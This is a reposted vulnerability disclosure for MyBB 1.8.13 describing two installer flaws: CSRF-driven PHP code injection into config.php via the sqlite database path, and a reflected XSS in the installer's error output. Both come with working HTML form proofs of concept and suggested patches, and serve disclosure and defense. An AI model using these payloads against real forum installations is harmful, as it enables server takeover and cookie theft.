MyBB 1.8.13 – Remote Code Execution + Cross-Site Scripting Vulnerability Exploit Code Proof of Concept

By | November 30, 2017
# Exploit Title: RCE in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage:
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16780
This RCE can be executed via CSRF but doesn't require it (in some special cases). The requirements are there shouldn't be a lock in the /install/ directory and then if you have access to the install directory you don't need CSRF, but if you don't then you need CSRF. I have included a patch and a description. The exploit will write PHP code to /inc/config.php which is then 'REQUIRE'd in most of the pages in MyBB, the PoC will just write lollol to the top of every page in MyBB. I also have an XSS but that I will report later.
There is a CSRF vulnerability in MyBB /install/index.php which can be used to inject PHP code into /inc/config.php which is then used in most of the pages (require MYBB_ROOT."/inc/config.php" is in most of the pages).
The vulnerability exists in the table creation process for sqlite databases, this is because the Database Path is then inserted into the /inc/config.php file in line 11 as $config['database']['database'] = 'DB Path';
The vulnerability occurs because MyBB doesn't properly escape the Database Path, allowing an attacker to easily inject PHP by inserting a DB Path of : lol'; echo 'lol     this will not cause any parse errors since there will be a : ';    added at the end. Of course the attacker can easily just execute code in the server, getting backdoor access to the server easily.
A PoC would be to host a site like this:
<form name="x" action="http://localhost/install/index.php" method="post">
<input type="hidden" name='dbengine' value="sqlite">
<input type="hidden" name='config[sqlite][dbname]' value="lol'; echo 'lol">
<input type="hidden" name='config[sqlite][tableprefix]' value="mybb_">
<input type="hidden" name='action' value="create_tables">
And when a victim logged in as admin to a MyBB website visits this site they will have a "lollol" at the top of every page (or you can also make it do much more malicious things).
A simple patch would be to change /install/index.php:1410 to:
if(strstr($config['dbname'], "./") !== false || strstr($config['dbname'], "../") !== false || strstr($config['dbname'], "'") !== false || empty($config['dbname']))
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage:
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781
No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.
The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.
It is a POST XSS and this is a PoC:
<form name="x" action="" method="post">
<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">
Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
A simple fix would be to change the function error_list($array) to:
function error_list($array)
 $string = "<ul>\n";
 foreach($array as $error)
            $string .= "<li>";
            $string .= htmlspecialchars($error);
            $string .= "</li>";
 $string .= "</ul>\n";
 return $string;
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